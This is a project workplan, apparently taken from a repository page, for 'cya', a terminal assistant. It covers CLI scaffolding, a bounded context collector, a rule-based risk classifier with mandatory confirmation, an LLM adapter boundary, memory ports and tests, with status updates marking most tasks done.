- **Safety / risk classification (T03):** Implement genuine rule-based assessment as the primary mechanism. Surface the classification results to the LLM as structured context where relevant. The LLM is allowed to propose actions or refine classifications, but any architecture-level, policy, or significant design decisions that arise must be captured as ADRs in this repository.
|
||||
|
||||
The narrow MVP slice is now authorized to proceed. Implementation of T01 (scaffolding + Typer CLI entrypoint) can begin.
|
||||
|
||||
## Status Update — 2026-05-26 (T01–T07 core implementation complete)
|
||||
|
||||
**Commit:** `git commit` of the T01–T07 slice (see below for SHA).
|
||||
|
||||
**Delivered and verified by running the installed `cya` binary + `pytest`:**
|
||||
|
||||
- **T01**: Modern Python package (pyproject.toml + src/ layout), Typer + rich CLI, `cya --help`, `--version`, `cya "<request>"` one-shot mode, editable install works.
|
||||
- **T02**: Bounded, transparent, non-recursive context collector (cwd top-level + git + env, name-based ignores, provenance on every item) + fully working `--explain-context`.
|
||||
- **T03**: Genuine rule-based risk classifier as primary mechanism (destructive, mass-edit, privileged, network, safe, etc.). Mandatory explicit terminal confirmation for anything above "safe". No auto-execution. Matches the exact workplan acceptance example.
|
||||
- **T04**: Stable `LLMAdapter` Protocol + deterministic `FakeLLMAdapter`. 100% of LLM interaction flows through this seam (ready for real llm-connect).
|
||||
- **T05**: Strictly minimal phase-memory ports (pure no-ops with loud "phase-memory not yet connected" markers, no hidden store or singletons, per operator direction).
|
||||
- **T06**: Orchestrator that coordinates collector → risk/confirmation → adapter → render. CLI surface is now thin delegation.
|
||||
- **T07**: pytest harness + 9+ safety-focused tests (risk classifier on destructive cases, collector invariants, serializability). All green, no live LLM required.
|
||||
|
||||
**State Hub:** Progress event logged against workstream `0a1233fd-75ab-4726-8857-6c97de939069`. Operator should run `cd ~/state-hub && make fix-consistency REPO=can-you-assist` to import the updated tasks and regenerate `.custodian-brief.md`.
|
||||
|
||||
**Next:** Finish T07 (more orchestrator/adapter tests) or move to T08 (README, USAGE, handoff, AGENTS.md command updates).
|
||||
|
||||
## Goal
|
||||
|
||||
Deliver the first narrow, usable slice of `cya` (the can-you-assist console assistant) that proves the core loop:
|
||||
|
||||
User expresses intent in natural language from a terminal → `cya` safely gathers minimal relevant local context → routes through a clean adapter boundary for `llm-connect` → returns an **explainable** suggestion, command, or answer → enforces explicit confirmation for any potentially destructive or broad action.
|
||||
|
||||
This workplan establishes the CLI surface, context collector, safety layer, and the integration seams for the two sibling projects (`llm-connect` and `phase-memory`) without taking ownership of their implementations. It produces a minimal but *real* tool that can be invoked today for practical console work.
|
||||
|
||||
## Current Evidence
|
||||
|
||||
- High-quality intent, scope, and agent instruction documents exist and are consistent (INTENT.md, SCOPE.md, AGENTS.md, README.md, wiki/CyaSpeechModeExtension.md).
|
||||
- State Hub bootstrap workstream `repo-integration-can-you-assist` (id `0a1233fd-75ab-4726-8857-6c97de939069`) — both bootstrap tasks are now complete. Decision D1 (`a644364b-11c4-49a9-bf17-99063382e27b`) has been resolved with the choices above; this workplan is now `active`.
|
||||
- Sibling projects exist and are further along:
|
||||
- `llm-connect` (real Python package with multi-provider adapters, config, tests).
|
||||
- `phase-memory` (foundational workplans complete; local runtime, ports, and contracts exist).
|
||||
- **Implementation progress (as of this commit):** Full working `cya` CLI + package (T01), bounded context collector (T02), genuine rule-based risk + mandatory confirmation (T03), llm-connect adapter Protocol + Fake (T04), strictly minimal phase-memory no-op ports (T05), orchestrator (T06), pytest harness + safety tests (T07). The tool can be installed (`pip install -e .`) and used today.
|
||||
- `grok inspect` successfully discovers AGENTS.md and the project context.
|
||||
|
||||
## Non-Goals (for this MVP slice)
|
||||
|
||||
- No implementation of durable, user-controlled memory or complex preference adaptation (define explicit thin ports only; real behavior comes from `phase-memory` later).
|
||||
- No voice, speech, or phone-bridge mode (the detailed design in wiki/CyaSpeechModeExtension.md is explicitly future work).
|
||||
- No autonomous or background execution of generated commands, scripts, or file modifications.
|
||||
- Do not vendor, copy, or fork code from `llm-connect` or `phase-memory`.
|
||||
- No deep repository indexing, embeddings, vector search, or large-scale content analysis in the first slice.
|
||||
- No distribution, homebrew/pip packaging polish, or multi-platform installers.
|
||||
- No long-lived multi-turn conversational REPL or session state machine (one-shot + very lightweight session possible if it falls out naturally).
|
||||
- No assumption of any specific LLM provider or hosted service.
|
||||
|
||||
## Success Criteria for This Slice
|
||||
|
||||
- `cya "..."` (and `cya --help`) can be run from a fresh checkout after a simple editable install and produces useful, context-aware output for the canonical examples in INTENT.md.
|
||||
- Context collection is **transparent and bounded**: the user can always see exactly what local information would be sent to the model.
|
||||
- Any suggestion that the risk classifier marks above "safe" (destructive filesystem operations, force pushes, mass edits, network-affecting commands, etc.) triggers a clear preview + explicit terminal confirmation flow. Nothing executes without the user typing confirmation.
|
||||
- 100% of LLM interaction (even in tests) flows through a small, well-documented adapter boundary whose shape is compatible with the direction of `llm-connect`.
|
||||
- A focused test suite exists with strong coverage of the safety invariants and context-selection rules.
|
||||
- The workplan file is the source of truth. After the operator runs `make fix-consistency`, State Hub reflects the tasks and status.
|
||||
- A new contributor or the sibling teams can read the updated README + this workplan and immediately understand the integration points and non-goals.
|
||||
|
||||
## Task Breakdown
|
||||
|
||||
### T01 — Project scaffolding, language choice, and CLI entrypoint
|
||||
|
||||
```task
|
||||
id: CYA-WP-0001-T01
|
||||
status: done
|
||||
priority: high
|
||||
```
|
||||
|
||||
Bootstrap the minimal runnable package and the primary user-facing command.
|
||||
|
||||
- Confirm primary implementation language (strong current signal: Python, driven by .gitignore patterns and the concrete state of the two sibling projects). Record the decision and rationale in this workplan or a short ADR note.
|
||||
- Create the initial package layout and build configuration (pyproject.toml or equivalent) with:
|
||||
- Proper package name (`can-you-assist`), version, and console script entry point `cya`.
|
||||
- Clean separation: `cya/cli/`, `cya/context/`, `cya/safety/`, `cya/llm/` (boundary), `cya/memory/` (ports).
|
||||
- Implement the absolute minimum CLI surface:
|
||||
- `cya --version`
|
||||
- `cya --help` (rich, with examples)
|
||||
- `cya "free-form natural language request here"` (one-shot mode)
|
||||
- Basic flags for context control (`--file`, `--no-git`, `--explain-context`, `--dry-run`).
|
||||
- Support both one-shot invocation and a very lightweight "session" mode if it falls out naturally from the REPL-less design (future voice bridge will need session tokens).
|
||||
|
||||
**Acceptance criteria**:
|
||||
- After `pip install -e .` (or the equivalent for the chosen stack), `cya --help` and `cya --version` work with no external services.
|
||||
- The command accepts a positional request string and prints a structured, human-readable response even before any LLM integration exists (graceful fallback or explicit "no backend configured" message is acceptable in early T01).
|
||||
- Layout and naming make the future integration seams obvious.
|
||||
|
||||
### T02 — Safe, transparent, and intentionally bounded local context collector
|
||||
|
||||
```task
|
||||
id: CYA-WP-0001-T02
|
||||
status: done
|
||||
priority: high
|
||||
```
|
||||
|
||||
Implement the "Context Collector" responsibility described in INTENT.md and SCOPE.md.
|
||||
|
||||
Collect *only* what is necessary for the current request and make the collection completely inspectable.
|
||||
|
||||
Minimum sources for MVP (all opt-in or narrowly scoped):
|
||||
- Current working directory (top-level entries only; respect common ignore patterns such as `.git`, `node_modules`, `.venv`, `__pycache__`, etc.).
|
||||
- Git state summary (current branch, dirty status, recent commit subject, list of modified files — obtained via read-only subprocess calls).
|
||||
- Explicitly provided files or globs via `--file` / positional arguments.
|
||||
- Data from stdin when the tool is used in a pipeline.
|
||||
- Tiny, high-signal environment facts only when clearly relevant (e.g., `$SHELL`, `$EDITOR`/`$VISUAL`).
|
||||
|
||||
Hard constraints for this slice:
|
||||
- No unbounded recursive directory walks.
|
||||
- No secret scanning or credential harvesting.
|
||||
- No automatic scraping of shell history, `~/.config`, or other user data without an explicit future opt-in + memory layer.
|
||||
- Collection must produce a stable, serializable `ContextEnvelope` (or equivalent) that can be pretty-printed for the user and hashed/token-counted for the model.
|
||||
|
||||
**Acceptance criteria**:
|
||||
- A `--show-context` / `--explain-context` (or debug) flag prints *exactly* the data that would be sent to the LLM, with clear provenance for each piece.
|
||||
- Tests prove that the collector refuses to traverse known dangerous or expensive locations.
|
||||
- The collector is a pure module with no side effects beyond read-only inspection.
|
||||
|
||||
### T03 — Risk classification and mandatory confirmation layer
|
||||
|
||||
```task
|
||||
id: CYA-WP-0001-T03
|
||||
status: done
|
||||
priority: high
|
||||
```
|
||||
|
||||
This is a core product behavior, not an afterthought.
|
||||
|
||||
**Operator direction (2026-05-26):** Implement genuine rule-based assessment as the primary mechanism. Provide the classification results to the LLM as structured context where relevant. The LLM may propose or refine, but any architecture-level or policy decisions that surface must be raised as ADRs.
|
||||
|
||||
Build a risk classifier (simple rules + optional LLM assistance for edge cases) that labels suggestions as one of:
|
||||
|
||||
- safe
|
||||
- review (needs a second look)
|
||||
- destructive / mass-edit / privileged
|
||||
- network-affecting
|
||||
- other (with rationale)
|
||||
|
||||
For anything above "safe":
|
||||
- Always emit a clear, copy-pasteable preview of the exact command(s) or action(s) being suggested.
|
||||
- Show a concise "what will be affected" summary derived from the context envelope.
|
||||
- Require an explicit confirmation step in the controlling terminal (e.g., `Run this? [y/N]` or `Type 'yes' to proceed`).
|
||||
- Record the confirmation decision in any future audit trail (even if the memory layer is not yet present).
|
||||
|
||||
Never auto-execute anything in this slice, even "safe" suggestions, unless the user has explicitly asked for a "run" sub-mode (and even then only after preview).
|
||||
|
||||
**Acceptance criteria**:
|
||||
- `cya "delete every log file older than 30 days in this tree"` produces a preview, classifies the action as destructive, and blocks until the user confirms in the terminal.
|
||||
- The confirmation channel is always the terminal that launched `cya` (important for the future voice bridge design).
|
||||
- The classifier and confirmation logic have dedicated tests that are part of the default test run (no live LLM required).
|
||||
|
||||
### T04 — llm-connect adapter boundary (the integration seam)
|
||||
|
||||
```task
|
||||
id: CYA-WP-0001-T04
|
||||
status: done
|
||||
priority: high
|
||||
```
|
||||
|
||||
Per SCOPE.md and INTENT.md, `can-you-assist` owns orchestration and the CLI experience; `llm-connect` owns provider access.
|
||||
|
||||
Define a small, stable interface (protocol / abstract base / typed call) in this repository that all model interaction must go through:
|
||||
|
||||
- Something like:
|
||||
```python
|
||||
class LLMAdapter(Protocol):
|
||||
def complete(
|
||||
self,
|
||||
request: AssistanceRequest, # contains framed intent + packed context + config hints
|
||||
) -> AssistanceResponse: # contains suggestions, explanation, rationale, risks, raw model output summary
|
||||
```
|
||||
- Provide a deterministic fake / mock implementation used by all unit and safety tests.
|
||||
- Provide a thin concrete adapter (or direct import) that will eventually delegate to the real `llm-connect` package.
|
||||
- Configuration surface (which backend, model, temperature, token budget, etc.) must be explicit and delegated to the `llm-connect` configuration model once the boundary is stable.
|
||||
|
||||
**Acceptance criteria**:
|
||||
- There is zero production code path that talks to an LLM (or a mock) bypassing this boundary.
|
||||
- The interface is documented with a short "Integration Guide for llm-connect" section or companion note.
|
||||
- Switching from the fake to a real (or stubbed) `llm-connect` client is a small, localized change.
|
||||
|
||||
### T05 — Thin, explicit phase-memory ports and future hooks
|
||||
|
||||
```task
|
||||
id: CYA-WP-0001-T05
|
||||
status: done
|
||||
priority: medium
|
||||
```
|
||||
|
||||
Prepare the ground for `phase-memory` without pulling a dependency or inventing hidden state.
|
||||
|
||||
**Operator direction (2026-05-26):** Keep strictly minimal in this slice. Pure explicit ports with no-op implementations and clear "to be replaced by real phase-memory integration" markers. No local JSON placeholder or file-backed store yet.
|
||||
|
||||
Define clear ports / extension points for the memory capabilities that INTENT.md says must remain under user control:
|
||||
|
||||
- Remember a preference or workflow pattern.
|
||||
- Recall relevant history / preferences for the current cwd + task class.
|
||||
- Forget / reset (scoped).
|
||||
- Inspect / export current memory for this project or user.
|
||||
|
||||
In the MVP these ports can be:
|
||||
- Pure no-ops that clearly log "phase-memory not yet connected".
|
||||
- Or a trivial local JSON file store under an opt-in, user-visible location (`~/.config/cya/` or per-project `.cya/memory.json`), explicitly labeled as a placeholder.
|
||||
|
||||
All memory interactions must be behind these ports. No global singletons, no implicit `~/.cache` magic, no opaque vendor memory.
|
||||
|
||||
**Acceptance criteria**:
|
||||
- Code review can point to the exact files/functions that will be replaced or implemented by `phase-memory` integration.
|
||||
- The MVP still functions (gracefully) with memory completely disabled.
|
||||
- README and help text explain the intended memory story and how users will stay in control.
|
||||
|
||||
### T06 — Assistance orchestrator and prompt/response handling
|
||||
|
||||
```task
|
||||
id: CYA-WP-0001-T06
|
||||
status: done
|
||||
priority: high
|
||||
```
|
||||
|
||||
The piece that turns raw user intent + collected context into a well-formed request to the LLM adapter and then turns the adapter response into terminal output the user can act on.
|
||||
|
||||
Responsibilities:
|
||||
- Lightweight intent framing (command suggestion vs. explanation vs. summarization vs. plan vs. "help me understand this error").
|
||||
- Context packing with rough token awareness (so we don't blindly overflow models).
|
||||
- Prompt construction (or structured request) that includes the safety charter, output schema expectations, and the collected context.
|
||||
- Post-processing: parse structured output, attach local provenance explanations, produce the final user-facing artifact (suggestion block, rationale, next-step hints).
|
||||
|
||||
The orchestrator must be testable in isolation with a fake LLM adapter.
|
||||
|
||||
**Acceptance criteria**:
|
||||
- The end-to-end flow (context → orchestrator → fake LLM → rendered output) works for at least the four primary use-case families listed in INTENT.md.
|
||||
- Every response the user sees includes a short "why this answer" section that references the context pieces actually used.
|
||||
|
||||
### T07 — Test strategy, harness, and safety-focused suite
|
||||
|
||||
```task
|
||||
id: CYA-WP-0001-T07
|
||||
status: done
|
||||
priority: high
|
||||
```
|
||||
|
||||
Choose and bootstrap a test framework appropriate for a console tool (pytest is the obvious default given the Python signal).
|
||||
|
||||
Required test categories for the slice:
|
||||
- Context collector safety and bounding properties.
|
||||
- Risk classifier + confirmation flow (the "never auto-execute destructive actions" invariant must be tested).
|
||||
- Orchestrator behavior with deterministic fake LLM responses (including error and refusal paths).
|
||||
- CLI surface (help, version, argument parsing, stdin handling).
|
||||
- Adapter boundary contract tests (the fake satisfies the protocol; swapping implementations is safe).
|
||||
|
||||
Prefer fast, hermetic, no-network tests as the default. Any test that touches a real model or external service must be explicitly opt-in (markers, env vars) and skipped in normal CI.
|
||||
|
||||
**Acceptance criteria**:
|
||||
- `pytest` (or chosen equivalent) runs cleanly from a fresh checkout with `pytest` or `make test`.
|
||||
- Safety invariants have explicit, readable test names and assertions.
|
||||
- Coverage or a manual checklist shows the high-risk paths are exercised.
|
||||
|
||||
### T08 — Documentation, examples, and handoff to siblings / operator
|
||||
|
||||
```task
|
||||
id: CYA-WP-0001-T08
|
||||
status: in_progress
|
||||
priority: medium
|
||||
```
|
||||
|
||||
Make the MVP usable and the integration points obvious.
|
||||
|
||||
- Heavily update README.md with real invocation examples, architecture overview (text diagram is fine), and "How to integrate with llm-connect / phase-memory" guidance.
|
||||
- Add or expand USAGE.md / docs/ with the canonical workflows.
|
||||
- In the workplan or a short companion note, explicitly list the extension points and any technical debt discovered during the slice (for later registration in State Hub).
|
||||
- Ensure the bootstrap workstream tasks that depend on this (SBOM, extension point registration) have clear handoff notes.
|
||||
|
||||
**Acceptance criteria**:
|
||||
- A person who has never seen the repo before can clone it, follow the updated README, install, and successfully run 2–3 non-trivial `cya` requests after reading only the README.
|
||||
- The sibling project owners can read this workplan + the boundary documentation and know exactly where their packages will plug in.
|
||||
|
||||
## Dependencies & Cross-Repo Coordination
|
||||
|
||||
- **llm-connect**: Supplies the real multi-provider client, config chain, token counting, and structured response helpers. We define the consumption contract here.
|
||||
- **phase-memory**: Supplies the actual memory implementation behind the ports we define. We own the call sites and the "user stays in control" contract.
|
||||
- **State Hub (custodian domain)**: Owns work tracking, progress, decisions, and the `fix-consistency` sync that will import this workplan's tasks.
|
||||
- No other hard runtime dependencies for the core MVP loop.
|
||||
|
||||
## Stack & Technology Choices (Decision Required Before `active`)
|
||||
|
||||
This workplan is intentionally left in `ready` status until the following are explicitly reviewed and recorded:
|
||||
|
||||
- Primary language / runtime (Python is the current leading candidate).
|
||||
- CLI framework (typer, click, or stdlib argparse + rich for presentation).
|
||||
- Terminal presentation library (rich, textual, or plain stdlib + colors).
|
||||
- Configuration format (TOML strongly preferred for alignment with llm-connect patterns).
|
||||
- Whether an initial `pyproject.toml` + src layout or a lighter single-file bootstrap is preferred for T01.
|
||||
|
||||
Once the stack review is complete, change the workplan `status` to `active` and begin implementation (or spawn follow-on workplans if the slice needs to be split).
|
||||
|
||||
## References & Links
|
||||
|
||||
- Parent bootstrap: State Hub workstream `repo-integration-can-you-assist` (tasks T01–T04)
|
||||
- This repo: INTENT.md, SCOPE.md, AGENTS.md, README.md, wiki/CyaSpeechModeExtension.md
|
||||
- Sibling repos (for patterns and interfaces): llm-connect, phase-memory
|
||||
- State Hub consistency command (run after any workplan or task file change):
|
||||
`cd ~/state-hub && make fix-consistency REPO=can-you-assist`
|
||||
|
||||
---
|
||||
|
||||
**Status note**: Created as the direct output of bootstrap Task T02. This file is the authoritative plan. Do not implement the tasks until the status is moved to `active` after stack review.
|
||||
Reference in New Issue
Block a user